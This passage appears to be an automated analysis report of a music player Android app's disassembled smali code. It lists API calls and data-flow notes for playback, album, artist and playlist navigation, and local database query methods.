44iget v2, v2, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
46iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
48iget-object v3, v3, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
50invoke-virtual {v1, v2, v3}, Lcom/twdlphqg/app/services/AudioPlayerService;->play(ILjava/util/ArrayList;)V
52iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
54invoke-static {v1}, Lcom/twdlphqg/app/PlayerActivity;->access$2(Lcom/twdlphqg/app/PlayerActivity;)V
55return-void
56cond_45:
57iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
58iget v2, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
59add-int/lit8 v2, v2, 0x1
60iput v2, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
61goto/16 :goto_30
62cond_4e: new-instance v0, Ljava/util/Random;
64invoke-direct {v0}, Ljava/util/Random;-><init>()V
66iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
68iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
70iget-object v2, v2, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
72invoke-virtual {v2}, Ljava/util/ArrayList;->size()I
73move-result v2
74add-int/lit8 v2, v2, -0x1
75add-int/lit8 v2, v2, 0x0
76add-int/lit8 v2, v2, 0x1
78invoke-virtual {v0, v2}, Ljava/util/Random;->nextInt(I)I
79move-result v2
80add-int/lit8 v2, v2, 0x0
81iput v2, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
82goto/16 :goto_30
APIs
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • java.util.ArrayList.size
  • com.twdlphqg.app.services.AudioPlayerService.play
  • com.twdlphqg.app.PlayerActivity.access$2
  • java.util.Random.<init>
  • java.util.ArrayList.size
  • java.util.Random.nextInt
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
3iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
5iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
7iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
8iget v2, v2, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
10invoke-virtual {v1, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
11move-result-object v1
12check-cast v1, Lcom/twdlphqg/app/models/Track;
13const/4 v2, 0x0
15invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
16move-result-object v2
18invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
20iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
21iget-boolean v1, v1, Lcom/twdlphqg/app/PlayerActivity;->isShuffle:Z
22if-eqz v1, :cond_4e
24iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
25iget v1, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
26if-nez v1, :cond_45
28iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
30iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
32iget-object v2, v2, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
34invoke-virtual {v2}, Ljava/util/ArrayList;->size()I
35move-result v2
36add-int/lit8 v2, v2, -0x1
37iput v2, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
38goto_30:
39iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
41iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
43iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
44iget v2, v2, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
46iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
48iget-object v3, v3, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
50invoke-virtual {v1, v2, v3}, Lcom/twdlphqg/app/services/AudioPlayerService;->play(ILjava/util/ArrayList;)V
52iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
54invoke-static {v1}, Lcom/twdlphqg/app/PlayerActivity;->access$2(Lcom/twdlphqg/app/PlayerActivity;)V
55return-void
56cond_45:
57iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
58iget v2, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
59add-int/lit8 v2, v2, -0x1
60iput v2, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
61goto/16 :goto_30
62cond_4e: new-instance v0, Ljava/util/Random;
64invoke-direct {v0}, Ljava/util/Random;-><init>()V
66iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
68iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
70iget-object v2, v2, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
72invoke-virtual {v2}, Ljava/util/ArrayList;->size()I
73move-result v2
74add-int/lit8 v2, v2, -0x1
75add-int/lit8 v2, v2, 0x0
76add-int/lit8 v2, v2, 0x1
78invoke-virtual {v0, v2}, Ljava/util/Random;->nextInt(I)I
79move-result v2
80add-int/lit8 v2, v2, 0x0
81iput v2, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
82goto/16 :goto_30
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.moveToNext
  • android.database.Cursor.close
Position Instruction Meta Information
0.param p1, "cursor" # Landroid/database/Cursor;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Landroid/database/Cursor;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Album;",
9">;"
10}
11.end annotation
12.prologue
13new-instance v1, Ljava/util/ArrayList;
15invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
16if-eqz p1, :cond_35
18invoke-interface {p1}, Landroid/database/Cursor;->moveToFirst()Z
19move-result v2
20if-eqz v2, :cond_35
21cond_d: new-instance v0, Lcom/twdlphqg/app/models/Album;
23invoke-direct {v0}, Lcom/twdlphqg/app/models/Album;-><init>()V
25sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
27invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
28move-result v2
30invoke-interface {p1, v2}, Landroid/database/Cursor;->getInt(I)I
31move-result v2
33invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Album;->setId(I)V
35sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
37invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
38move-result v2
40invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
41move-result-object v2
43invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Album;->setTitle(Ljava/lang/String;)V
45invoke-interface {p1}, Landroid/database/Cursor;->moveToNext()Z
46move-result v2
47if-nez v2, :cond_d
49invoke-interface {p1}, Landroid/database/Cursor;->close()V
50cond_35: return-object v1
APIs
  • android.os.Bundle.<init>
  • android.os.Bundle.putParcelableArrayList
  • android.os.Bundle.putInt
  • android.content.Intent.<init>
  • android.content.Intent.putExtras
  • android.content.Intent.setFlags
  • android.content.Context.getApplicationContext
  • android.content.Context.startActivity
Position Instruction Meta Information
0.param p2, "arg1" # Landroid/view/View;
1.param p3, "arg2" # I
2.param p4, "arg3" # J
3.annotation build Landroid/annotation/SuppressLint;
4value = {
5"InlinedApi"
6}
7.end annotation
8.annotation system Ldalvik/annotation/Signature;
9value = {
10"(",
11"Landroid/widget/AdapterView",
12"<*>;",
13"Landroid/view/View;",
14"IJ)V"
15}
16.end annotation
17.prologue
18new-instance v0, Landroid/os/Bundle;
20invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
22sget-object v2, Lcom/twdlphqg/app/conf/constants;->TRACKS_KEY:Ljava/lang/String;
24iget-object v3, p0, Lcom/twdlphqg/app/business/Ultils$1;->val$tracks:Ljava/util/ArrayList;
26invoke-virtual {v0, v2, v3}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
28sget-object v2, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
30invoke-virtual {v0, v2, p3}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
31new-instance v1, Landroid/content/Intent;
33iget-object v2, p0, Lcom/twdlphqg/app/business/Ultils$1;->val$context:Landroid/content/Context;
34const-class v3, Lcom/twdlphqg/app/PlayerActivity;
36invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
38invoke-virtual {v1, v0}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent;
39const v2, 0x10008000
41invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268468224
43iget-object v2, p0, Lcom/twdlphqg/app/business/Ultils$1;->val$context:Landroid/content/Context;
45invoke-virtual {v2}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
46move-result-object v2
48invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
49return-void
APIs
  • com.twdlphqg.app.fragments.AlbumFragment.getActivity
  • android.support.v4.app.FragmentActivity.getApplicationContext
  • android.content.Intent.<init>
  • android.os.Bundle.<init>
  • java.util.ArrayList.get
  • android.os.Bundle.putInt
  • android.content.Intent.putExtras
  • com.twdlphqg.app.fragments.AlbumFragment.startActivity
Position Instruction Meta Information
0.param p2, "arg1" # Landroid/view/View;
1.param p3, "arg2" # I
2.param p4, "arg3" # J
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/widget/AdapterView",
7"<*>;",
8"Landroid/view/View;",
9"IJ)V"
10}
11.end annotation
12.prologue
13new-instance v1, Landroid/content/Intent;
15iget-object v2, p0, Lcom/twdlphqg/app/fragments/AlbumFragment$1;->this$0:Lcom/twdlphqg/app/fragments/AlbumFragment;
17invoke-virtual {v2}, Lcom/twdlphqg/app/fragments/AlbumFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
18move-result-object v2
20invoke-virtual {v2}, Landroid/support/v4/app/FragmentActivity;->getApplicationContext()Landroid/content/Context;
21move-result-object v2
22const-class v3, Lcom/twdlphqg/app/TrackActivity;
24invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
25new-instance v0, Landroid/os/Bundle;
27invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
29sget-object v3, Lcom/twdlphqg/app/conf/constants;->ALBUM_ID_KEY:Ljava/lang/String;
31iget-object v2, p0, Lcom/twdlphqg/app/fragments/AlbumFragment$1;->this$0:Lcom/twdlphqg/app/fragments/AlbumFragment;
33iget-object v2, v2, Lcom/twdlphqg/app/fragments/AlbumFragment;->albums:Ljava/util/ArrayList;
35invoke-virtual {v2, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
36move-result-object v2
37check-cast v2, Lcom/twdlphqg/app/models/Album;
39invoke-virtual {v2}, Lcom/twdlphqg/app/models/Album;->getId()I
40move-result v2
42invoke-virtual {v0, v3, v2}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
44invoke-virtual {v1, v0}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent;
46iget-object v2, p0, Lcom/twdlphqg/app/fragments/AlbumFragment$1;->this$0:Lcom/twdlphqg/app/fragments/AlbumFragment;
48invoke-virtual {v2, v1}, Lcom/twdlphqg/app/fragments/AlbumFragment;->startActivity(Landroid/content/Intent;)V
49return-void
APIs
  • com.twdlphqg.app.fragments.ArtistFragment.getActivity
  • android.support.v4.app.FragmentActivity.getApplicationContext
  • android.content.Intent.<init>
  • android.os.Bundle.<init>
  • java.util.ArrayList.get
  • android.os.Bundle.putInt
  • android.content.Intent.putExtras
  • com.twdlphqg.app.fragments.ArtistFragment.startActivity
Position Instruction Meta Information
0.param p2, "arg1" # Landroid/view/View;
1.param p3, "arg2" # I
2.param p4, "arg3" # J
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/widget/AdapterView",
7"<*>;",
8"Landroid/view/View;",
9"IJ)V"
10}
11.end annotation
12.prologue
13new-instance v1, Landroid/content/Intent;
15iget-object v2, p0, Lcom/twdlphqg/app/fragments/ArtistFragment$1;->this$0:Lcom/twdlphqg/app/fragments/ArtistFragment;
17invoke-virtual {v2}, Lcom/twdlphqg/app/fragments/ArtistFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
18move-result-object v2
20invoke-virtual {v2}, Landroid/support/v4/app/FragmentActivity;->getApplicationContext()Landroid/content/Context;
21move-result-object v2
22const-class v3, Lcom/twdlphqg/app/TrackActivity;
24invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
25new-instance v0, Landroid/os/Bundle;
27invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
29sget-object v3, Lcom/twdlphqg/app/conf/constants;->ARTIST_ID_KEY:Ljava/lang/String;
31iget-object v2, p0, Lcom/twdlphqg/app/fragments/ArtistFragment$1;->this$0:Lcom/twdlphqg/app/fragments/ArtistFragment;
33iget-object v2, v2, Lcom/twdlphqg/app/fragments/ArtistFragment;->artist:Ljava/util/ArrayList;
35invoke-virtual {v2, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
36move-result-object v2
37check-cast v2, Lcom/twdlphqg/app/models/Artist;
39invoke-virtual {v2}, Lcom/twdlphqg/app/models/Artist;->getId()I
40move-result v2
42invoke-virtual {v0, v3, v2}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
44invoke-virtual {v1, v0}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent;
46iget-object v2, p0, Lcom/twdlphqg/app/fragments/ArtistFragment$1;->this$0:Lcom/twdlphqg/app/fragments/ArtistFragment;
48invoke-virtual {v2, v1}, Lcom/twdlphqg/app/fragments/ArtistFragment;->startActivity(Landroid/content/Intent;)V
49return-void
APIs
  • com.twdlphqg.app.fragments.PlaylistFragment.getActivity
  • android.support.v4.app.FragmentActivity.getApplicationContext
  • android.content.Intent.<init>
  • android.os.Bundle.<init>
  • java.util.ArrayList.get
  • android.os.Bundle.putInt
  • android.content.Intent.putExtras
  • com.twdlphqg.app.fragments.PlaylistFragment.startActivity
Position Instruction Meta Information
0.param p2, "arg1" # Landroid/view/View;
1.param p3, "arg2" # I
2.param p4, "arg3" # J
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/widget/AdapterView",
7"<*>;",
8"Landroid/view/View;",
9"IJ)V"
10}
11.end annotation
12.prologue
13new-instance v1, Landroid/content/Intent;
15iget-object v2, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment$1;->this$0:Lcom/twdlphqg/app/fragments/PlaylistFragment;
17invoke-virtual {v2}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
18move-result-object v2
20invoke-virtual {v2}, Landroid/support/v4/app/FragmentActivity;->getApplicationContext()Landroid/content/Context;
21move-result-object v2
22const-class v3, Lcom/twdlphqg/app/TrackActivity;
24invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
25new-instance v0, Landroid/os/Bundle;
27invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
29sget-object v3, Lcom/twdlphqg/app/conf/constants;->PLAYLIST_ID_KEY:Ljava/lang/String;
31iget-object v2, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment$1;->this$0:Lcom/twdlphqg/app/fragments/PlaylistFragment;
33iget-object v2, v2, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlists:Ljava/util/ArrayList;
35invoke-virtual {v2, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
36move-result-object v2
37check-cast v2, Lcom/twdlphqg/app/models/Playlist;
39invoke-virtual {v2}, Lcom/twdlphqg/app/models/Playlist;->getId()I
40move-result v2
42invoke-virtual {v0, v3, v2}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
44invoke-virtual {v1, v0}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent;
46iget-object v2, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment$1;->this$0:Lcom/twdlphqg/app/fragments/PlaylistFragment;
48invoke-virtual {v2, v1}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->startActivity(Landroid/content/Intent;)V
49return-void
APIs
  • java.util.LinkedHashSet.clear
  • java.lang.Integer.valueOf
  • java.util.LinkedHashSet.add
  • com.twdlphqg.app.ExplorationActivity.refreshActionBarMenu
  • java.util.LinkedHashSet.clear
  • java.lang.Integer.valueOf
  • java.util.LinkedHashSet.add
  • com.twdlphqg.app.ExplorationActivity.setEnableItem
Position Instruction Meta Information
0.param p1, "position" # I
1.prologue
2const v2, 0x7f0a0054
4iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity$1;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
6iget-object v0, v0, Lcom/twdlphqg/app/ExplorationActivity;->enableItems:Ljava/util/LinkedHashSet;
8invoke-virtual {v0}, Ljava/util/LinkedHashSet;->clear()V
10iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity$1;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
12iget-object v0, v0, Lcom/twdlphqg/app/ExplorationActivity;->disabledItems:Ljava/util/LinkedHashSet;
14invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 2131361876
15move-result-object v1
17invoke-virtual {v0, v1}, Ljava/util/LinkedHashSet;->add(Ljava/lang/Object;)Z
18packed-switch p1, :pswitch_data_3a
19pswitch_18:
20iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity$1;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
22invoke-virtual {v0}, Lcom/twdlphqg/app/ExplorationActivity;->refreshActionBarMenu()V
23return-void
24pswitch_1e:
25iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity$1;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
27iget-object v0, v0, Lcom/twdlphqg/app/ExplorationActivity;->disabledItems:Ljava/util/LinkedHashSet;
29invoke-virtual {v0}, Ljava/util/LinkedHashSet;->clear()V
31iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity$1;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
33iget-object v0, v0, Lcom/twdlphqg/app/ExplorationActivity;->enableItems:Ljava/util/LinkedHashSet;
35invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 2131361876
36move-result-object v1
38invoke-virtual {v0, v1}, Ljava/util/LinkedHashSet;->add(Ljava/lang/Object;)Z
40iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity$1;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
42iget-object v1, p0, Lcom/twdlphqg/app/ExplorationActivity$1;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
44iget-object v1, v1, Lcom/twdlphqg/app/ExplorationActivity;->enableItems:Ljava/util/LinkedHashSet;
46invoke-virtual {v0, v1}, Lcom/twdlphqg/app/ExplorationActivity;->setEnableItem(Ljava/util/LinkedHashSet;)V
47goto/16 :goto_18
APIs
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.fragments.AlbumArtFragment.getArguments
  • android.os.Bundle.getString
  • android.view.View.findViewById
  • android.net.Uri.parse
  • android.widget.ImageView.setImageURI
  • android.widget.ImageView.setImageResource
Position Instruction Meta Information
0.param p1, "inflater" # Landroid/view/LayoutInflater;
1.param p2, "container" # Landroid/view/ViewGroup;
2.param p3, "savedInstanceState" # Landroid/os/Bundle;
3.prologue
4const v2, 0x7f030019
5const/4 v3, 0x0
7invoke-virtual {p1, v2, p2, v3}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • resource: 2130903065
    • attachToRoot: 0
8move-result-object v1
10invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->getArguments()Landroid/os/Bundle;
11move-result-object v2
12if-eqz v2, :cond_36
14invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->getArguments()Landroid/os/Bundle;
15move-result-object v2
17sget-object v3, Lcom/twdlphqg/app/conf/constants;->ALBUM_ART_URI_KEY:Ljava/lang/String;
19invoke-virtual {v2, v3}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
20move-result-object v2
21iput-object v2, p0, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->albumArtUri:Ljava/lang/String;
22const v2, 0x7f0a003c
24invoke-virtual {v1, v2}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361852
25move-result-object v0
26check-cast v0, Landroid/widget/ImageView;
28iget-object v2, p0, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->albumArtUri:Ljava/lang/String;
29if-eqz v2, :cond_37
31iget-object v2, p0, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->albumArtUri:Ljava/lang/String;
33const-string v3, ""
34if-eq v2, v3, :cond_37
36iget-object v2, p0, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->albumArtUri:Ljava/lang/String;
38invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
39move-result-object v2
41invoke-virtual {v0, v2}, Landroid/widget/ImageView;->setImageURI(Landroid/net/Uri;)V
42cond_36: return-object v1
43cond_37: const v2, 0x7f02005b
45invoke-virtual {v0, v2}, Landroid/widget/ImageView;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837595
46goto/16 :goto_36
APIs
  • android.os.Parcel.writeInt
  • android.os.Parcel.writeString
  • android.os.Parcel.writeInt
Position Instruction Meta Information
0.param p1, "dest" # Landroid/os/Parcel;
1.param p2, "flags" # I
2.prologue
3iget v0, p0, Lcom/twdlphqg/app/models/Track;->id:I
5invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
7iget-object v0, p0, Lcom/twdlphqg/app/models/Track;->title:Ljava/lang/String;
9invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
11iget-object v0, p0, Lcom/twdlphqg/app/models/Track;->artist:Ljava/lang/String;
13invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
15iget-object v0, p0, Lcom/twdlphqg/app/models/Track;->path:Ljava/lang/String;
17invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
19iget-object v0, p0, Lcom/twdlphqg/app/models/Track;->size:Ljava/lang/String;
21invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
23iget-object v0, p0, Lcom/twdlphqg/app/models/Track;->duration:Ljava/lang/String;
25invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
27iget-object v0, p0, Lcom/twdlphqg/app/models/Track;->extension:Ljava/lang/String;
29invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
30iget v0, p0, Lcom/twdlphqg/app/models/Track;->albumId:I
32invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
33return-void
APIs
  • com.twdlphqg.app.dals.DB.getWritableDatabase
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.rawQuery
Strings
  • SELECT * FROM
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/ArrayList",
4"<",
5"Lcom/twdlphqg/app/models/Album;",
6">;"
7}
8.end annotation
9.prologue
11iget-object v2, p0, Lcom/twdlphqg/app/dals/AlbumDal;->dbOpen:Lcom/twdlphqg/app/dals/DB;
13invoke-virtual {v2}, Lcom/twdlphqg/app/dals/DB;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
14move-result-object v2
15iput-object v2, p0, Lcom/twdlphqg/app/dals/AlbumDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
16new-instance v2, Ljava/lang/StringBuilder;
18const-string v3, "SELECT * FROM "
20invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SELECT * FROM
22sget-object v3, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
25move-result-object v2
27invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
28move-result-object v1
30iget-object v2, p0, Lcom/twdlphqg/app/dals/AlbumDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
31const/4 v3, 0x0
33invoke-virtual {v2, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p1: 0
34move-result-object v0
36invoke-direct {p0, v0}, Lcom/twdlphqg/app/dals/AlbumDal;->convertOwnDBCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
37move-result-object v2
38return-object v2
APIs
  • android.content.Context.getSystemService
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.adapter.ArtistAdapter.getItem
  • android.view.View.findViewById
  • android.widget.TextView.setText
Strings
  • layout_inflater
Position Instruction Meta Information
0.param p1, "position" # I
1.param p2, "convertView" # Landroid/view/View;
2.param p3, "parent" # Landroid/view/ViewGroup;
3.prologue
4move-object v3, p2
5if-nez v3, :cond_14
7iget-object v4, p0, Lcom/twdlphqg/app/adapter/ArtistAdapter;->context:Landroid/content/Context;
9const-string v5, "layout_inflater"
11invoke-virtual {v4, v5}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: layout_inflater
12move-result-object v2
13check-cast v2, Landroid/view/LayoutInflater;
14iget v4, p0, Lcom/twdlphqg/app/adapter/ArtistAdapter;->itemLayoutResource:I
15const/4 v5, 0x0
17invoke-virtual {v2, v4, v5}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View;
  • Data flow analysis:
    • p1: 0
18move-result-object v3
19cond_14:
20invoke-virtual {p0, p1}, Lcom/twdlphqg/app/adapter/ArtistAdapter;->getItem(I)Ljava/lang/Object;
21move-result-object v0
22check-cast v0, Lcom/twdlphqg/app/models/Artist;
23const v4, 0x7f0a003d
25invoke-virtual {v3, v4}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361853
26move-result-object v1
27check-cast v1, Landroid/widget/TextView;
29invoke-virtual {v0}, Lcom/twdlphqg/app/models/Artist;->getArtist()Ljava/lang/String;
30move-result-object v4
32invoke-virtual {v1, v4}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
33return-object v3
APIs
  • java.util.ArrayList.get
  • java.util.ArrayList.set
  • com.twdlphqg.app.TouchInterceptor.getAdapter
  • android.widget.ArrayAdapter.notifyDataSetChanged
  • com.twdlphqg.app.fragments.TrackInQueueFragment.access$0
  • java.util.ArrayList.get
  • java.util.ArrayList.set
Position Instruction Meta Information
0.param p1, "from" # I
1.param p2, "to" # I
2.prologue
3const/4 v0, -0x1
4move v3, p1
5move v2, p2
6if-ge p1, p2, :cond_6
7const/4 v0, 0x1
8cond_6:
9iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
11iget-object v5, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
13invoke-virtual {v5, p1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
14move-result-object v4
15check-cast v4, Lcom/twdlphqg/app/models/Track;
16move v1, v3
